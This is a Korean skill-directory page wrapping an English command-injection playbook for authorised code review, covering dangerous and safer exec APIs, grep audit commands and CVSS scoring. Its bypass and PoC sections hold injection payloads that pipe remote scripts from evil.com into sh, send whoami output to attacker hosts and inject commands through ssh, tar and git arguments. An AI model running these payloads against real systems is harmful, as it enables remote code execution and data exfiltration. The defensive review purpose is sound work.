본문으로 건너뛰기
Skillpedia
보안6.5k · #13955

command-injection

하는 일

이 스킬은 사용자 입력이 운영체제 셸로 전달되는 명령 인젝션 결함을 찾기 위한 플레이북입니다. 검사 권한이 있는 코드를 검토하는 개발자와 보안 검토자를 위한 스킬입니다.

사용하는 경우

  • ✓개발자가 사용자 입력이 셸이나 시스템 명령에 닿는지 확인해 달라고 요청할 때.
  • ✓에이전트가 외부 프로그램을 호출하는 업로드 도구, PDF 생성기, 미디어 변환기를 검토해야 할 때.
  • ✓팀이 언어별로 더 안전한 명령 API 목록을 원하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리가 검토 허가를 받은 소스 코드에서 사용자 입력이 시스템 명령에 닿는 곳이 있는지 확인해 주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 언어별로 흔한 명령 호출 지점을 코드에서 찾고, 각 지점까지 입력을 추적한 뒤, 더 안전한 처리가 필요한 곳을 나열합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Command Injection Playbook

If SQL injection is the king of web vulns, command injection is the king of DevOps vulns. Every image-processing upload, PDF generator, ffmpeg wrapper, and "run a script" feature is a candidate.

1. Sinks

Language Dangerous Safer
Python os.system, subprocess.Popen(..., shell=True), os.popen, commands.getoutput subprocess.run([...], shell=False)
Node child_process.exec, execSync child_process.execFile, spawn (array args)
Go exec.Command("sh","-c",user) exec.Command(bin, arg1, arg2) with array
Java Runtime.exec(String) Runtime.exec(String[]), ProcessBuilder([...])
Ruby backticks, system(str), %x{...} Kernel.system(bin, *args), Open3.capture2e
PHP shell_exec, exec, system, backticks, passthru escapeshellarg + explicit execve

Even the "safer" APIs are exploitable if the binary path is user controlled (exec.Command(userBin, "--version")).

2. Non-obvious sinks

  • Template engines rendering shell: Ansible playbooks, systemd unit files, crontab strings
  • Docker-compose / k8s manifests where command: is built from user input
  • PDF libraries that shell out to pdflatex, wkhtmltopdf, puppeteer
  • ImageMagick — convert user.jpg out.png where user.jpg is attacker-chosen (classic ImageTragick)
  • ffmpeg -i with user-provided URL/file (SSRF + RCE combo)
  • Git clone with user-supplied URL (remote helper injection)
  • SSH/Rsync wrappers building ssh user@host "cmd" from templates
  • ZIP extractors passing archive path to unzip binary

3. Audit workflow

# Level 1: obvious sinks
grep -rE 'os\.system\(|subprocess.*shell\s*=\s*True|exec\s*\(' /workspace/src
grep -rE 'Runtime\.exec\(|ProcessBuilder\([^[]' /workspace/src
grep -rE 'child_process\.(exec|execSync)\(' /workspace/src

# Level 2: shell metacharacters in strings
grep -rE '"[^"]*\$\{[a-z]+\}.*(-[a-z]|[;|&])"' /workspace/src

# Level 3: template strings
grep -rE 'ffmpeg|pdflatex|wkhtmltopdf|convert|pandoc' /workspace/src

4. Bypasses

Even when developers "sanitize" via blocklists:

  • Argument injection (the -oProxyCommand trick) — passing -oProxyCommand=curl $(whoami).attacker.com to ssh-based sinks
  • Space replacement — ${IFS}, {ls,-la} (brace expansion)
  • Backtick/dollar-paren — $(id), `id`
  • Command substitution in filename — $(curl evil.com/x.sh | sh).jpg
  • Unicode normalisation — " (fullwidth) vs " bypass
  • Encoded newline — %0A turns single-command into multi-command
  • TarSlip — tar xzf user.tgz with --checkpoint-action=exec=...
  • Git — git clone 'ssh://ext::sh -c whoami # foo'

5. PoC ideas

# Spare out-of-band tester — DNS exfil confirms silent RCE
curl "https://target.com/export?filename=; curl $(whoami).attacker.oob/"

# Blind, response-timing based
curl "https://target.com/export?filename=; sleep 7 #.pdf"

# Noisy but fastest confirmation
curl "https://target.com/export?filename=; id > /tmp/pwn #.pdf"

6. validate_finding contract

  • success_patterns: uid=\d+, root, attacker OOB callback hit, total 0
  • negative_command: same URL, filename set to report.pdf
  • negative_patterns: 200, accepted

7. Default CVSS

Variant Vector Score
Blind OOB RCE unauth AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 9.8
Authenticated RCE (low priv) AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 8.8
RCE with scope change (container escape) AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H 10.0

8. Chain promotion

Command injection rarely needs chaining — it's the final hop of most chains. Instead, use it to promote earlier nodes: add enables edges from SSRF / file upload / path traversal vulns that deliver the initial payload.

자주 묻는 질문

명령 인젝션이란 무엇인가요?

사용자 입력이 시스템 명령에 전달되어, 사용자가 자신의 명령을 덧붙일 수 있게 되는 경우입니다.

어떤 코드가 가장 영향을 받기 쉬운가요?

스킬은 업로드 도구, PDF 생성기, 비디오 래퍼, 외부 프로그램을 실행하는 스크립트를 흔한 사례로 듭니다.

더 안전한 방법은 무엇인가요?

스킬은 셸을 거치지 않는 배열 기반 프로세스 호출을 권장하며, 인수 목록을 쓰는 subprocess를 예로 듭니다.

상세 정보

작성자의 원본 설명

Hunt OS command injection (CWE-78) — user input reaching shell, exec, or system calls. Covers argument-array bypasses, path confusion, and template-string injection in modern frameworks.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#13955
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬